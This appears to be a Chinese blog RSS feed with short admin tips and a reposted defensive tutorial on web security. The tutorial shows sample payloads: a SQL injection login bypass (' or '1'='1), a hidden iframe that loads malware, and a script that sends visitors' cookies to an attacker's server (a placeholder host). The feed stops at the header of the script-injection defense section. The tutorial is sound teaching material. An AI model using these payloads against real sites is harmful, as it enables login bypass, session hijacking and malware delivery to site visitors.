<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
<channel>
<title><![CDATA[foolman's blog]]></title>
<link>http://blog.foolmen.com/</link>
<description><![CDATA[吃得下饭,睡得着觉,笑得出来!]]></description>
<language>zh-cn</language>
<copyright><![CDATA[Copyright 2005 PBlog2 v2.4]]></copyright>
<webMaster><![CDATA[ahao_150@163.com(monster)]]></webMaster>
<generator>PBlog2 v2.4</generator> 
<image>
	<title>foolman&#39;s blog</title> 
	<url>http://blog.foolmen.com/images/logos.gif</url> 
	<link>http://blog.foolmen.com/</link> 
	<description>foolman&#39;s blog</description> 
</image>

			<item>
			<link>http://blog.foolmen.com/default.asp?id=129</link>
			<title><![CDATA[修改windows Server远程桌面端口]]></title>
			<author>ahao_150@163.com(Admin)</author>
			<category><![CDATA[dot net]]></category>
			<pubDate>Wed,29 Oct 2008 19:58:45 +0800</pubDate>
			<guid>http://blog.foolmen.com/default.asp?id=129</guid>	
		<description><![CDATA[<p>每次修改都记不住路径，特记下来</p>
<p>打开注册表编辑器，定位到HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp 分支，在右边可以找到一个名为PortNumber类型为REG_DWORD键，我们双击修改它为非3389端口即可</p>
<p>Windows Server 2003/Vista/Server 2008远程桌面的路径都记录在注册表这个键值下面。</p>]]></description>
		</item>
		
			<item>
			<link>http://blog.foolmen.com/default.asp?id=128</link>
			<title><![CDATA[更改sqlserver数据表对象所属用户]]></title>
			<author>ahao_150@163.com(Admin)</author>
			<category><![CDATA[dot net]]></category>
			<pubDate>Wed,09 Jul 2008 09:13:50 +0800</pubDate>
			<guid>http://blog.foolmen.com/default.asp?id=128</guid>	
		<description><![CDATA[在查询分析器中执行如下存储过程即可<br/><br/>exec&nbsp;sp_changeobjectowner&nbsp;&#39;dbowner.tablename&#39;,&#39;dbo&#39;<br/><br/>第一个参数是表名（注意，如果表当前所属用户不是dbo的话，需要在表名前面加上当前用户），第二个参数将其作为表的所属用户的数据库用户]]></description>
		</item>
		
			<item>
			<link>http://blog.foolmen.com/default.asp?id=127</link>
			<title><![CDATA[BS程序代码与安全与基本攻击/防御模式]]></title>
			<author>ahao_150@163.com(Admin)</author>
			<category><![CDATA[dot net]]></category>
			<pubDate>Wed,11 Jun 2008 15:36:54 +0800</pubDate>
			<guid>http://blog.foolmen.com/default.asp?id=127</guid>	
		<description><![CDATA[<p style="TEXT-ALIGN: center" align="center"><strong><span style="FONT-SIZE: 14pt">BS</span></strong><strong><span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体">程序代码与安全与基本攻击</span></strong><strong><span style="FONT-SIZE: 14pt">/</span></strong><strong><span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体">防御模式</span></strong></p>
<p style="MARGIN-LEFT: 147pt; TEXT-INDENT: 21pt; TEXT-ALIGN: center" align="center"><strong><span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体">BearOcean</span></strong><strong><span style="FONT-SIZE: 9pt"> 2008-06-02<br /><br /><br /></span></strong></p>
<p style="tab-stops: 21.0pt right dotted 414.8pt"><a href="http://blog.foolmen.com/file:///C:/Documents%20and%20Settings/bearocean/桌面/代码与安全.htm#_Toc200169975"><strong><font color="#1d58d1">1.</font></strong><span style="COLOR: windowtext; TEXT-DECORATION: none; text-underline: none">&nbsp;&nbsp;&nbsp; <strong><span style="FONT-FAMILY: 宋体">引言</span></strong></span></a></p>
<p style="tab-stops: 52.5pt right dotted 414.8pt"><a href="http://blog.foolmen.com/file:///C:/Documents%20and%20Settings/bearocean/桌面/代码与安全.htm#_Toc200169976"><strong><font color="#1d58d1">1.1.</font></strong><span style="COLOR: windowtext; TEXT-DECORATION: none; text-underline: none">&nbsp;&nbsp;&nbsp;&nbsp; <strong><span style="FONT-FAMILY: 宋体">文档说明:</span></strong></span></a></p>
<p style="tab-stops: 52.5pt right dotted 414.8pt"><a href="http://blog.foolmen.com/file:///C:/Documents%20and%20Settings/bearocean/桌面/代码与安全.htm#_Toc200169977"><strong><font color="#1d58d1">1.2.</font></strong><span style="COLOR: windowtext; TEXT-DECORATION: none; text-underline: none">&nbsp;&nbsp;&nbsp;&nbsp; <strong><span style="FONT-FAMILY: 宋体">文档组织方式:</span></strong></span></a></p>
<p style="tab-stops: 21.0pt right dotted 414.8pt"><a href="http://blog.foolmen.com/file:///C:/Documents%20and%20Settings/bearocean/桌面/代码与安全.htm#_Toc200169978"><strong><font color="#1d58d1">2.</font></strong><span style="COLOR: windowtext; TEXT-DECORATION: none; text-underline: none">&nbsp;&nbsp;&nbsp; <strong><span style="FONT-FAMILY: 宋体">正文</span></strong></span></a></p>
<p style="tab-stops: 52.5pt right dotted 414.8pt"><a href="http://blog.foolmen.com/file:///C:/Documents%20and%20Settings/bearocean/桌面/代码与安全.htm#_Toc200169979"><strong><font color="#1d58d1">2.1.</font></strong><span style="COLOR: windowtext; TEXT-DECORATION: none; text-underline: none">&nbsp;&nbsp;&nbsp;&nbsp; <strong>SQL</strong><strong><span style="FONT-FAMILY: 宋体">注入</span></strong></span></a></p>
<p style="tab-stops: 84.0pt right dotted 414.8pt"><a href="http://blog.foolmen.com/file:///C:/Documents%20and%20Settings/bearocean/桌面/代码与安全.htm#_Toc200169980"><strong><font color="#1d58d1">2.1.1.</font></strong><span style="COLOR: windowtext; TEXT-DECORATION: none; text-underline: none">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <strong><span style="FONT-FAMILY: 宋体">攻击模式:</span></strong></span></a></p>
<p style="tab-stops: 84.0pt right dotted 414.8pt"><a href="http://blog.foolmen.com/file:///C:/Documents%20and%20Settings/bearocean/桌面/代码与安全.htm#_Toc200169981"><strong><font color="#1d58d1">2.1.2.</font></strong><span style="COLOR: windowtext; TEXT-DECORATION: none; text-underline: none">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <strong><span style="FONT-FAMILY: 宋体">防御办法:</span></strong></span></a></p>
<p style="tab-stops: 52.5pt right dotted 414.8pt"><a href="http://blog.foolmen.com/file:///C:/Documents%20and%20Settings/bearocean/桌面/代码与安全.htm#_Toc200169982"><strong><font color="#1d58d1">2.2.</font></strong><span style="COLOR: windowtext; TEXT-DECORATION: none; text-underline: none">&nbsp;&nbsp;&nbsp;&nbsp; <strong><span style="FONT-FAMILY: 宋体">脚本注入</span></strong></span></a></p>
<p style="tab-stops: 84.0pt right dotted 414.8pt"><a href="http://blog.foolmen.com/file:///C:/Documents%20and%20Settings/bearocean/桌面/代码与安全.htm#_Toc200169983"><strong><font color="#1d58d1">2.2.1.</font></strong><span style="COLOR: windowtext; TEXT-DECORATION: none; text-underline: none">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <strong><span style="FONT-FAMILY: 宋体">攻击模式</span></strong></span></a></p>
<p style="tab-stops: 84.0pt right dotted 414.8pt"><a href="http://blog.foolmen.com/file:///C:/Documents%20and%20Settings/bearocean/桌面/代码与安全.htm#_Toc200169984"><strong><font color="#1d58d1">2.2.2.</font></strong><span style="COLOR: windowtext; TEXT-DECORATION: none; text-underline: none">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <strong><span style="FONT-FAMILY: 宋体">防御方式</span></strong></span></a></p>
<p style="tab-stops: 52.5pt right dotted 414.8pt"><a href="http://blog.foolmen.com/file:///C:/Documents%20and%20Settings/bearocean/桌面/代码与安全.htm#_Toc200169985"><strong><font color="#1d58d1">2.3.</font></strong><span style="COLOR: windowtext; TEXT-DECORATION: none; text-underline: none">&nbsp;&nbsp;&nbsp;&nbsp; <strong><span style="FONT-FAMILY: 宋体">跨站攻击</span></strong></span></a></p>
<p style="tab-stops: 84.0pt right dotted 414.8pt"><a href="http://blog.foolmen.com/file:///C:/Documents%20and%20Settings/bearocean/桌面/代码与安全.htm#_Toc200169986"><strong><font color="#1d58d1">2.3.1.</font></strong><span style="COLOR: windowtext; TEXT-DECORATION: none; text-underline: none">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <strong><span style="FONT-FAMILY: 宋体">攻击模式</span></strong></span></a></p>
<p style="tab-stops: 84.0pt right dotted 414.8pt"><a href="http://blog.foolmen.com/file:///C:/Documents%20and%20Settings/bearocean/桌面/代码与安全.htm#_Toc200169987"><strong><font color="#1d58d1">2.3.2.</font></strong><span style="COLOR: windowtext; TEXT-DECORATION: none; text-underline: none">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <strong><span style="FONT-FAMILY: 宋体">防御方式</span></strong></span></a></p>
<p style="tab-stops: 52.5pt right dotted 414.8pt"><a href="http://blog.foolmen.com/file:///C:/Documents%20and%20Settings/bearocean/桌面/代码与安全.htm#_Toc200169988"><strong><font color="#1d58d1">2.4.</font></strong><span style="COLOR: windowtext; TEXT-DECORATION: none; text-underline: none">&nbsp;&nbsp;&nbsp;&nbsp; <strong>shell </strong><strong><span style="FONT-FAMILY: 宋体">上传</span></strong></span></a></p>
<p style="tab-stops: 84.0pt right dotted 414.8pt"><a href="http://blog.foolmen.com/file:///C:/Documents%20and%20Settings/bearocean/桌面/代码与安全.htm#_Toc200169989"><strong><font color="#1d58d1">2.4.1.</font></strong><span style="COLOR: windowtext; TEXT-DECORATION: none; text-underline: none">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <strong><span style="FONT-FAMILY: 宋体">攻击模式</span></strong></span></a></p>
<p style="tab-stops: 84.0pt right dotted 414.8pt"><a href="http://blog.foolmen.com/file:///C:/Documents%20and%20Settings/bearocean/桌面/代码与安全.htm#_Toc200169990"><strong><font color="#1d58d1">2.4.2.</font></strong><span style="COLOR: windowtext; TEXT-DECORATION: none; text-underline: none">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <strong><span style="FONT-FAMILY: 宋体">防御方式</span></strong></span></a></p>
<p style="tab-stops: 52.5pt right dotted 414.8pt"><a href="http://blog.foolmen.com/file:///C:/Documents%20and%20Settings/bearocean/桌面/代码与安全.htm#_Toc200169991"><strong><font color="#1d58d1">2.5.</font></strong><span style="COLOR: windowtext; TEXT-DECORATION: none; text-underline: none">&nbsp;&nbsp;&nbsp;&nbsp; <strong><span style="FONT-FAMILY: 宋体">爆破</span></strong></span></a></p>
<p style="tab-stops: 84.0pt right dotted 414.8pt"><a href="http://blog.foolmen.com/file:///C:/Documents%20and%20Settings/bearocean/桌面/代码与安全.htm#_Toc200169992"><strong><font color="#1d58d1">2.5.1.</font></strong><span style="COLOR: windowtext; TEXT-DECORATION: none; text-underline: none">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <strong><span style="FONT-FAMILY: 宋体">攻击模式</span></strong></span></a></p>
<p style="tab-stops: 84.0pt right dotted 414.8pt"><a href="http://blog.foolmen.com/file:///C:/Documents%20and%20Settings/bearocean/桌面/代码与安全.htm#_Toc200169993"><strong><font color="#1d58d1">2.5.2.</font></strong><span style="COLOR: windowtext; TEXT-DECORATION: none; text-underline: none">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <strong><span style="FONT-FAMILY: 宋体">防御方式</span></strong></span></a></p>
<p style="tab-stops: 21.0pt right dotted 414.8pt"><a href="http://blog.foolmen.com/file:///C:/Documents%20and%20Settings/bearocean/桌面/代码与安全.htm#_Toc200169994"><strong><font color="#1d58d1">3.</font></strong><span style="COLOR: windowtext; TEXT-DECORATION: none; text-underline: none">&nbsp;&nbsp;&nbsp; <strong><span style="FONT-FAMILY: 宋体">结语</span></strong></span></a></p>
<p style="TEXT-ALIGN: center" align="center"><strong>&nbsp;</strong></p>
<p><strong><span style="FONT-SIZE: 14pt; FONT-FAMILY: 'Times New Roman'"><br style="PAGE-BREAK-BEFORE: always" clear="all" /></span></strong>&nbsp;</p>
<p style="TEXT-ALIGN: center" align="center"><strong>&nbsp;</strong></p>
<p style="MARGIN-LEFT: 21.25pt; TEXT-INDENT: -21.25pt; tab-stops: list 21.25pt"><strong>1.<span style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></strong><strong><span style="FONT-FAMILY: 宋体">引言</span></strong></p>
<p style="MARGIN-LEFT: 1cm; TEXT-INDENT: -1cm; tab-stops: list 1.0cm"><strong>1.1.<span style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></strong><strong><span style="FONT-FAMILY: 宋体">文档说明</span></strong><strong>:</strong></p>
<p><span style="FONT-FAMILY: 宋体">该文档主要阐述在</span>BS<span style="FONT-FAMILY: 宋体">程序中，安全性方面的注意事项。常见的主要攻击模式，以及为了防御这些不同的攻击手段，作为技术人员建议注意的编码事项。</span></p>
<p><span style="FONT-FAMILY: 宋体">该文档包含的内容主要是个人对于</span>Internet <span style="FONT-FAMILY: 宋体">安全性问题的理解。以及对这些问题进行规避的方法整理，难免有误，也欢迎大家进行指正和补充。</span></p>
<p><span style="FONT-FAMILY: 宋体">另注</span>: <span style="FONT-FAMILY: 宋体">该文档出现的编码均为伪代码。</span><br /><br /></p>
<p style="MARGIN-LEFT: 1cm; TEXT-INDENT: -1cm; tab-stops: list 1.0cm"><strong>1.2.<span style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></strong><strong><span style="FONT-FAMILY: 宋体">文档组织方式</span></strong><strong>:</strong></p>
<p><span style="FONT-FAMILY: 宋体">该文档主要按照攻击模式进行分类整理，每个攻击模式的小专题分</span>2<span style="FONT-FAMILY: 宋体">部分内容</span>:</p>
<p>(1) <span style="FONT-FAMILY: 宋体">攻击模式详述</span></p>
<p>(2) <span style="FONT-FAMILY: 宋体">防御方式与建议</span></p>
<p><span style="FONT-FAMILY: 宋体">对于攻击模式详述部分，尽可能多的举出案例来进行说明，已方便理解。而防御方式，实际上通常只有在对攻击模式理解的前提下，才可能真正确保防御的有效。</span><br /><br /></p>
<p style="MARGIN-LEFT: 21.25pt; TEXT-INDENT: -21.25pt; tab-stops: list 21.25pt"><strong>2.<span style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></strong><strong><span style="FONT-FAMILY: 宋体">正文</span></strong></p>
<p style="MARGIN-LEFT: 1cm; TEXT-INDENT: -1cm; tab-stops: list 1.0cm"><strong>2.1.<span style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></strong><strong>SQL</strong><strong><span style="FONT-FAMILY: 宋体">注入</span></strong></p>
<p style="MARGIN-LEFT: 35.45pt; TEXT-INDENT: -35.45pt; tab-stops: list 35.45pt"><strong>2.1.1.<span style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></strong><strong><span style="FONT-FAMILY: 宋体">攻击模式</span></strong><strong>:</strong></p>
<p>SQL <span style="FONT-FAMILY: 宋体">注入的成因主要是因为向</span>DB<span style="FONT-FAMILY: 宋体">提供的</span>SQL <span style="FONT-FAMILY: 宋体">是用字符串拼装的方式生成的。</span></p>
<p><span style="FONT-FAMILY: 宋体">最经常遭受</span>SQL<span style="FONT-FAMILY: 宋体">注入的页面通常是管理员</span>/<span style="FONT-FAMILY: 宋体">用户</span><span style="FONT-FAMILY: 宋体">登陆点。不论是</span>asp <span style="FONT-FAMILY: 宋体">或是</span>jsp<span style="FONT-FAMILY: 宋体">，如果不正确的编码，都会出现这个漏洞。</span></p>
<p><span style="FONT-FAMILY: 宋体">下面以一个实例来阐述</span>SQL<span style="FONT-FAMILY: 宋体">注入的成因。</span></p>
<p><span style="FONT-FAMILY: 宋体">假设我们有一个</span>JSP <span style="FONT-FAMILY: 宋体">页面</span>login.jsp<span style="FONT-FAMILY: 宋体">，用于搜集管理员输入的用户名和密码。用户点击按钮，将会把收集到的用户名与密码提交到指定的控制组件</span>(Struts:Action,<span style="FONT-FAMILY: 宋体">或者</span>Servlet).<span style="FONT-FAMILY: 宋体">在该组件中调用</span>chekLogin(String userName, String passWord) <span style="FONT-FAMILY: 宋体">进行登陆验证，以从页面收集到的用户名和密码信息拼装出</span>SQL <span style="FONT-FAMILY: 宋体">字符串，供</span>DAO <span style="FONT-FAMILY: 宋体">下层使用，以从数据库中的管理员记录表中读取数据，如果从表中找到匹配的记录，则表示验证成功，我们将返回相应得管理员实体类。否则返回</span>Null <span style="FONT-FAMILY: 宋体">表示登陆验证失败。</span></p>
<p><span style="FONT-FAMILY: 宋体">这是一个非常简单的逻辑模块，如下图所示</span>:<br /><br /><img alt="" src="http://www.cnblogs.com/images/cnblogs_com/bearocean/secure_1.JPG" border="0" /></p>
<p><span style="FONT-FAMILY: 宋体">这个逻辑产生注入漏洞的关键在于</span>checkAdminLogin<span style="FONT-FAMILY: 宋体">方法。因为在该方法中，我们以这种方式进行编码</span>:<br />public Admin checkAdminLogin(String userName, String password){</p>
<p style="MARGIN-LEFT: 10.5pt">//<span style="FONT-FAMILY: 宋体">拼装</span>SQL<span style="FONT-FAMILY: 宋体">字符串</span><br />String strSQL =&rdquo;Select * FROM TD_ADMIN AS A Where A.USERNAME=&rsquo;&rdquo;+userName +&rdquo;&rsquo; AND A.PASSWORD=&rsquo;&rdquo;+password+&rdquo;&rsquo;&rdquo;;</p>
<p style="MARGIN-LEFT: 10.5pt">//<span style="FONT-FAMILY: 宋体">后续通过</span>DAO <span style="FONT-FAMILY: 宋体">提交该</span>SQL<span style="FONT-FAMILY: 宋体">到数据库获得查询结果，</span><span style="FONT-FAMILY: 宋体">省略</span></p>
<p><span style="FONT-FAMILY: 宋体">这个生成</span>SQL <span style="FONT-FAMILY: 宋体">的方式，记得刚接触数据库编程的时候，有很多书籍的范例代码也是这样书写的，咋一看没有什么问题，但是由于没有对可能的输入作一个全面的考虑，所以便产生了注入漏洞。如果有人试图在这里进行恶意攻击，那么他可以在登陆名输入框中输入</span> 123 (<span style="FONT-FAMILY: 宋体">其实其他的任意值也可</span>) <span style="FONT-FAMILY: 宋体">而在密码输入框中输入</span> &lsquo; or &lsquo;1&rsquo;=&rsquo;1</p>
<p><span style="FONT-FAMILY: 宋体">那么由于我们的</span>SQL<span style="FONT-FAMILY: 宋体">是靠拼出来的，所以最终提交给数据库的将是</span>:<br />Select * FROM TD_ADMIN AS A Where A.USERNAME=&rsquo;123&rsquo; AND A.PASSWORD=&rsquo;&rsquo; or &lsquo;1&rsquo;=&rsquo;1&rsquo;</p>
<p><span style="FONT-FAMILY: 宋体">很显然，这句</span>SQL <span style="FONT-FAMILY: 宋体">由于后面被加上了永真条件，登陆是一定成功的。那么不论登陆者是否是管理员，输入</span> &lsquo; or &lsquo;1&rsquo;=&rsquo;1 <span style="FONT-FAMILY: 宋体">，他都将能够登陆系统。</span></p>
<p><span style="FONT-FAMILY: 宋体">更有甚者，我可以在输入框中输入数据库的</span>SQL<span style="FONT-FAMILY: 宋体">注释符，然后填写我想让数据库执行的操作例如</span>Drop SOMETABLE <span style="FONT-FAMILY: 宋体">一类的。所以注入漏洞的危害实际是非常大的。</span></p>
<p>SQL <span style="FONT-FAMILY: 宋体">注入漏洞的根本原因是，由于我们编码时的不小心，导致用户可以通过输入来改变要执行的逻辑，甚至输入新的逻辑。但是，越是严重和显而易见的代码安全问题，实际要修补却也是越容易的。</span></p>
<p style="MARGIN-LEFT: 35.45pt; TEXT-INDENT: -35.45pt; tab-stops: list 35.45pt"><strong>2.1.2.<span style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></strong><strong><span style="FONT-FAMILY: 宋体">防御办法</span></strong><strong>:</strong></p>
<p><strong>A: </strong><strong><span style="FONT-FAMILY: 宋体">加上验证</span></strong><strong>(</strong><strong><span style="FONT-FAMILY: 宋体">或者字符过滤</span></strong><strong>)</strong></p>
<p><span style="FONT-FAMILY: 宋体">在网上搜索关于对</span>SQL <span style="FONT-FAMILY: 宋体">注入的防护问题，有很多答案提供的是对输入字符串进行验证</span>/<span style="FONT-FAMILY: 宋体">或者是过滤，甚至有人提供了字符串过滤代码。这种方案指出</span>:&nbsp;SQL <span style="FONT-FAMILY: 宋体">注入的成因是攻击者在输入框中输入了有特殊意义的字符，如单引号，或者是数据库特定的注释符号，或者是执行分隔符的分号。</span></p>
<p><span style="FONT-FAMILY: 宋体">那么我们在控制层进行验证，禁止用户输入这些符号，或者将这些符号进行转义是否可以杜绝</span>SQL<span style="FONT-FAMILY: 宋体">注入</span>?</p>
<p><span style="FONT-FAMILY: 宋体">表面上看似乎是可以的，因为在控制层中，用户如果试图输入</span> &lsquo; or &lsquo;1&rsquo;=&rsquo;1 <span style="FONT-FAMILY: 宋体">将得到类似</span>&rdquo;<span style="FONT-FAMILY: 宋体">不允许输入单引号</span>&rdquo;<span style="FONT-FAMILY: 宋体">的提示从而系统拒绝了本次执行。</span></p>
<p><span style="FONT-FAMILY: 宋体">但是，这样的防御方案有非常大的缺陷</span>:</p>
<p><span style="FONT-FAMILY: 宋体">第一</span>: <span style="FONT-FAMILY: 宋体">输入验证应该与具体的逻辑挂钩，而不应该与安全防护中的防注入产生过密的依赖。用户名和密码的输入验证和新闻内容的输入验证是不同的。例如，对于新闻的按内容搜索又应该允许输入单引号，因为新闻内容本身是允许包含单引号的。所以输入验证不能从根本上解决问题。一个疏忽带来的结果将是满盘皆输。</span></p>
<p><span style="FONT-FAMILY: 宋体">第二</span>: <span style="FONT-FAMILY: 宋体">提出这种解决方案实际上是没有真正的理解</span>SQL<span style="FONT-FAMILY: 宋体">注入，</span>SQL<span style="FONT-FAMILY: 宋体">注入的问题并不是出在不合法字符的问题上。这只是表象，</span>SQL<span style="FONT-FAMILY: 宋体">注入的真正原因是系统没有办法严格地控制程序逻辑与输入参数之间的分离，系统存在漏洞让系统是用者有地方可以把自己的输入</span>(<span style="FONT-FAMILY: 宋体">本应该是参数</span>)<span style="FONT-FAMILY: 宋体">变成了程序逻辑的一部分。</span></p>
<p><strong>B: </strong><strong><span style="FONT-FAMILY: 宋体">控制与参数分离</span></strong></p>
<p><span style="FONT-FAMILY: 宋体">试想我们给用户提供一个接口，</span><span style="FONT-FAMILY: 宋体">这个接口带一个参数，用户填写这个的这个参数将决定下面的代码执行序列。那么用户可以通过这个接口来命令系统做任何事情。其实</span>SQL<span style="FONT-FAMILY: 宋体">注入就是这个原因。</span></p>
<p><span style="FONT-FAMILY: 宋体">产生这个问题的最根本的原因是，系统应该有能力明确的划分什么是逻辑，什么是参数。</span></p>
<p><span style="FONT-FAMILY: 宋体">所以解决</span>SQL<span style="FONT-FAMILY: 宋体">注入的最根本办法是使用</span>Template <span style="FONT-FAMILY: 宋体">模式。</span></p>
<p><span style="FONT-FAMILY: 宋体">如下图所示</span>:<br /><img alt="" src="http://www.cnblogs.com/images/cnblogs_com/bearocean/secure_2.JPG" border="0" /><br /></p>
<p><span style="FONT-FAMILY: 宋体">那么用户的输入会作为</span>Business Object <span style="FONT-FAMILY: 宋体">的参数存在。但是不管用户输入什么。都无法脱离程序员设置的</span>Templete (<span style="FONT-FAMILY: 宋体">逻辑模板</span>)<span style="FONT-FAMILY: 宋体">。最后</span> Templete + Parameters <span style="FONT-FAMILY: 宋体">将决定程序具体的执行。</span></p>
<p>Java <span style="FONT-FAMILY: 宋体">中对该模式的实现</span><span style="FONT-FAMILY: 宋体">有</span>PreparedStatment<span style="FONT-FAMILY: 宋体">或者</span>NamingQuery<span style="FONT-FAMILY: 宋体">一类的技术。详细内容可以参见相关文档。由于他们实现了参数与逻辑的分离，所以将从根本上杜绝</span>SQL<span style="FONT-FAMILY: 宋体">注入。</span></p>
<p><span style="FONT-FAMILY: 宋体">使用</span>PreparedStatement<span style="FONT-FAMILY: 宋体">还有其他好处，除了安全方面的考虑，由于数据库的编译特性，在性能上也有所提高。</span></p>
<p style="MARGIN-LEFT: 1cm; TEXT-INDENT: -1cm; tab-stops: list 1.0cm"><strong>2.2.<span style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></strong><strong><span style="FONT-FAMILY: 宋体">脚本注入</span></strong></p>
<p style="MARGIN-LEFT: 35.45pt; TEXT-INDENT: -35.45pt; tab-stops: list 35.45pt"><strong>2.2.1.<span style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></strong><strong><span style="FONT-FAMILY: 宋体">攻击模式</span></strong></p>
<p><span style="FONT-FAMILY: 宋体">这里所说的脚本，通常所指的是</span>JavaScript<span style="FONT-FAMILY: 宋体">脚本，虽然</span>JavaScript<span style="FONT-FAMILY: 宋体">运行于客户端，并且有安全沙箱的保护，但是放任恶意</span>JavaScript<span style="FONT-FAMILY: 宋体">脚本是十分危险的。</span></p>
<p><span style="FONT-FAMILY: 宋体">脚本注入也是一种技术含量低的攻击方式。需要攻击者熟悉</span>JavaScript<span style="FONT-FAMILY: 宋体">脚本和</span>Dom<span style="FONT-FAMILY: 宋体">模型，如果会运用</span>Ajax <span style="FONT-FAMILY: 宋体">技术，更是如虎添翼。如果你了解这两项技术，便可以在网上搜索你的目标。</span></p>
<p><span style="FONT-FAMILY: 宋体">一个网站，如果对输入未做合理的验证或过滤，在显示输出的时候又未做合适的格式化，那么便存在这种漏洞。下面举一个实例</span>:</p>
<p><span style="FONT-FAMILY: 宋体">我们有一个新闻站点。每个新闻允许浏览者进行评论，浏览者提交的评论将被存储在数据据库专门的表中，并且将被显示在新闻的下边。</span></p>
<p><span style="FONT-FAMILY: 宋体">这个逻辑很正常，没有什么问题。但是很可惜的是开发者除了字符长度没有在后端做任何输入合法验证。那么这个站点的评论输入，必然给坏蛋们有机可乘。</span></p>
<p><span style="FONT-FAMILY: 宋体">假设我们在评论中输入如下内容</span>:</p>
<p>&lt;script language=&rdquo;javascript&rdquo;&gt;alert(&ldquo;<span style="FONT-FAMILY: 宋体">哈哈，傻了吧，这个地方存在脚本注入漏洞</span>.&rdquo;);&lt;/script&gt;</p>
<p><span style="FONT-FAMILY: 宋体">那么，这句话将被存储在数据库评论表中。以后，每一个浏览者打开这个新闻页面是，都将会弹出这样一个消息框。攻击者很仁慈，没有做过多的破坏。</span></p>
<p><span style="FONT-FAMILY: 宋体">但是如果输入</span>:</p>
<p>&lt;script language=&rdquo;javascript&rdquo;&gt;window.location.href=&rdquo;www.baidu.com&rdquo;;&lt;/script&gt;</p>
<p><span style="FONT-FAMILY: 宋体">那么打开这个新闻页面，该页面将被从定向到</span>baidu<span style="FONT-FAMILY: 宋体">的页面上。</span></p>
<p><span style="FONT-FAMILY: 宋体">如果目标页面不是</span>baidu. <span style="FONT-FAMILY: 宋体">而是一个有恶意代码的页面。那么每个浏览者的机器都可能中毒。</span></p>
<p><span style="FONT-FAMILY: 宋体">注入上述脚本的攻击者不够聪明或者只是想好心的提示。因为他们注入的东西太容易被人发觉。</span></p>
<p><span style="FONT-FAMILY: 宋体">我们有别的方式把活干的隐蔽，毕竟开发者和维护人员都不可能对评论一条一条得进行检查。</span></p>
<p><span style="FONT-FAMILY: 宋体">我们注入</span>:</p>
<p><span style="FONT-FAMILY: 宋体">好文</span>! <span style="FONT-FAMILY: 宋体">顶</span></p>
<p>&lt;iframe src=&rdquo;<span style="FONT-FAMILY: 宋体">带病毒的页面</span>&rdquo; width=&rdquo;0&rdquo; height=&rdquo;0&rdquo;&gt;&lt;/iframe&gt;</p>
<p><span style="FONT-FAMILY: 宋体">那么在新闻页面上，将看不到任何异状。但是浏览器其实可能正在悄悄得下载病毒。</span></p>
<p>WEB2.0<span style="FONT-FAMILY: 宋体">的流行使页面效果更加绚丽，同时也使脚本注入的攻击力提高不少。</span></p>
<p><span style="FONT-FAMILY: 宋体">曾经了解这样一种攻击模式</span>:<br /><br /><img alt="" src="http://www.cnblogs.com/images/cnblogs_com/bearocean/secure_3.JPG" border="0" /></p>
<p><span style="FONT-FAMILY: 宋体">攻击者在幕后准备了服务器去接受</span>Ajax<span style="FONT-FAMILY: 宋体">提交的请求。攻击者通常有自己的服务器</span>(<span style="FONT-FAMILY: 宋体">通常是肉鸡</span>), <span style="FONT-FAMILY: 宋体">在上面部署了合适的代码。</span></p>
<p><span style="FONT-FAMILY: 宋体">在目标站点，存在注入点的页面注入如下代码</span>:</p>
<p><span style="FONT-FAMILY: 宋体">我也来顶</span>!</p>
<p>&lt;script language=&rdquo;javascript&rdquo;&gt;<br />var strTargetMessage =window.cockie;</p>
<p>AjaxSend(&ldquo;<span style="FONT-FAMILY: 宋体">黑客掌握的服务器监听点</span>&rdquo;, strTargetMessage);<br />&lt;/javascript&gt;</p>
<p><span style="FONT-FAMILY: 宋体">很简单的代码，而且极难被发觉。</span></p>
<p><span style="FONT-FAMILY: 宋体">但是这样，每个登录者在访问这个页面的时候，其</span>cockie<span style="FONT-FAMILY: 宋体">信息都将被发送给攻击者。</span></p>
<p><span style="FONT-FAMILY: 宋体">掌握了</span>cockie<span style="FONT-FAMILY: 宋体">中存放的</span>JSESSIONID, <span style="FONT-FAMILY: 宋体">那么攻击者便可以冒充该登录者来做想做的事情，比如说转帐</span>(<span style="FONT-FAMILY: 宋体">但一般银行有</span>SSL <span style="FONT-FAMILY: 宋体">授权的密钥</span>).</p>
<p><span style="FONT-FAMILY: 宋体">不管怎么样，很危险了。</span></p>
<p style="MARGIN-LEFT: 35.45pt; TEXT-INDENT: -35.45pt; tab-stops: list 35.45pt"><strong>2.2.2.<span style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></strong><strong><span style="FONT-FAMILY: 宋体">防御方式</span></strong></p>
